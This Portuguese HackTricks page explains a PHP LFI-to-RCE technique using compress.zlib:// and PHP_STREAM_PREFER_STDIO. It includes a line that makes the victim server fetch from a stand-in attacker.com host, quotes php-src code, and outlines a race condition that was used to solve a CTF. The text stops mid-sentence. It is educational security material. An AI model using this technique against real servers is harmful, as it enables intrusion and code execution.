# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STDIO + Path Disclosure {{#include ../../banners/hacktricks-training.md}} ### `compress.zlib://` e `PHP_STREAM_PREFER_STDIO` Um arquivo aberto usando o protocolo `compress.zlib://` com a flag `PHP_STREAM_PREFER_STDIO` pode continuar escrevendo dados que chegam à conexão posteriormente no mesmo arquivo. Isso significa que uma chamada como: ```php file_get_contents("compress.zlib://http://attacker.com/file") ``` Farei uma solicitação pedindo http://attacker.com/file, então o servidor pode responder à solicitação com uma resposta HTTP válida, manter a conexão aberta e enviar dados extras algum tempo depois que também serão gravados no arquivo. Você pode ver essa informação nesta parte do código php-src em main/streams/cast.c: ```c /* Use a tmpfile and copy the old streams contents into it */ if (flags & PHP_STREAM_PREFER_STDIO) { *newstream = php_stream_fopen_tmpfile(); } else { *newstream = php_stream_temp_new(); } ``` ### Condição de Corrida para RCE [**Este CTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) foi resolvido usando o truque anterior. O atacante fará com que o **servidor da vítima abra uma conexão lendo um arquivo do servidor do atacante** usando o protocolo **`compress.zlib`**. **Enquanto** essa **conexão** existir, o atacante **exfiltrará o caminho** para o arquivo temporário criado (ele é vazado pelo servidor). **Enquanto** a **conexão** ainda estiver aberta, o atacante **explorará um LFI carregando o arquivo temporário** que ele controla. No entanto, há uma verificação no servidor web que **impede o carregamento de arquivos que contêm `